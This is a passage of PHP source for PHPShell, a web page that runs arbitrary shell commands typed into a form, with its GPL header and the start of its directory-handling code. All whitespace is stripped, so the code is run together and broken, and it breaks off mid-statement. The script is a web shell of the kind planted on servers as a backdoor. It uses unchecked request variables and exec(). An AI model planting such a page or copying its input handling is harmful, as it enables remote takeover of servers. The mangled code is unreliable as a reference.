<?php/****************************************************************PHPShell***************************************************************$Id:phpshell.php,v1.62000/08/0609:28:42martinExp$AninteractivePHP-pagethatwillexecuteanycommandentered.SeethefilesREADMEandINSTALLorhttp://www.gimpster.comforfurtherinformation.Copyright(C)2000MartinGeisler<gimpster@gimpster.com>Thisprogramisfreesoftware;youcanredistributeitand/ormodifyitunderthetermsoftheGNUGeneralPublicLicenseaspublishedbytheFreeSoftwareFoundation;eitherversion2oftheLicense,or(atyouroption)anylaterversion.Thisprogramisdistributedinthehopethatitwillbeuseful,butWITHOUTANYWARRANTY;withouteventheimpliedwarrantyofMERCHANTABILITYorFITNESSFORAPARTICULARPURPOSE.SeetheGNUGeneralPublicLicenseformoredetails.YoucangetacopyoftheGNUGeneralPublicLicensefromthisaddress:http://www.gnu.org/copyleft/gpl.html#SEC1YoucanalsowritetotheFreeSoftwareFoundation,Inc.,59TemplePlace-Suite330,Boston,MA02111-1307,USA.*/?><html><head><title>PHPShell-ByMartinGeisler</title></head><body><h1>PHPShell</h1><?php/*Firstwecheckiftherehasbeenaskedforaworkingdirectory.*/if(isset($work_dir)){/*Aworkdirhasbeenaskedfor-wechdirtothatdir.*/chdir($work_dir);$work_dir=exec("pwd");}else{/*Nowork_dir-wechdirto$DOCUMENT_ROOT*/chdir($DOCUMENT_ROOT);$work_dir=$DOCUMENT_ROOT;}?><formname="myform"action="phpshell.php"method="post"><p>Currentworkingdirectory:<b><?$work_dir_splitted=explode("/",substr($work_dir,1));/*echo$work_dir_splitted[0]."".$work_dir_splitted[1];*/echo"<ahref=\"phpshell.php?work_dir=".urlencode($url)."/&command=".urlencode($command)."\">Root</a>/";if($work_dir_splitted[0]==""){}else{